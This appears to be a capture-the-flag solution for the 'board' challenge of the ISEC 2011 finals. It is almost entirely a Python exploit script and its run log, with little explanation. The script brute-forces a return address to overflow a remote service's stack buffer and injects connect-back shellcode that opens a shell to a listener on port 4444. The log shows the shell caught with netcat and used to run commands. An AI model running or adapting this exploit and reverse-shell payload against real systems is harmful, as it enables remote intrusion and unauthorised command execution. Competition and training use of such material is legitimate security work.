ISEC 2011 본선 CTF - board

exploit.py

#!/usr/bin/python from socket import * import time def pack(data):  res = ""  for i in range(0,4):   res = res + chr(data % 0x100)   data = data / 0x100  return res HOST = "192.168.123.129" PORT = 9999 SHELLCODE = \ "\x68\xc0\xa8\x7b\x83\x68\xff\x02\x11\x5c\x89\xe7\x31\xc0" + \ "\x50\x6a\x01\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50" + \ "\x6a\x62\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff\x4f\xe8" + \ "\x79\xf6\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" + \ "\x50\x54\x53\x50\xb0\x3b\xcd\x80" for i in range(0 , 0x10000):  ret = pack(0xbfbfffff-(200*i))  #print hex(0xbfbfffff-(200*i))  payload = ""  payload += "\x90"*1000  payload += SHELLCODE  payload += "\x90"*(2072-len(payload))  payload += ret  payload += "\x04\x00"  s = socket(AF_INET , SOCK_STREAM)  s.connect((HOST , PORT))  s.recv(1024)  s.send("w")  s.recv(1024)  s.send("pwn3r%d" %i)  s.recv(1024)  s.send(payload)  s.recv(1024)  s.send("r 1")  s.recv(1024)  time.sleep(0.1)  s.close()

[pwn3r@localhost board]$ ./exploit.py & nc -lv 4444 [1] 17276 Connection from 192.168.123.129 port 4444 [tcp/krb524] accepted id uid=1010(board) gid=1010(board) groups=1010(board) ls -l total 36 -rwxr-xr-x  1 board  board  14892 Sep 18 11:24 boardd drwx------  2 board  board    512 Sep 18 12:09 free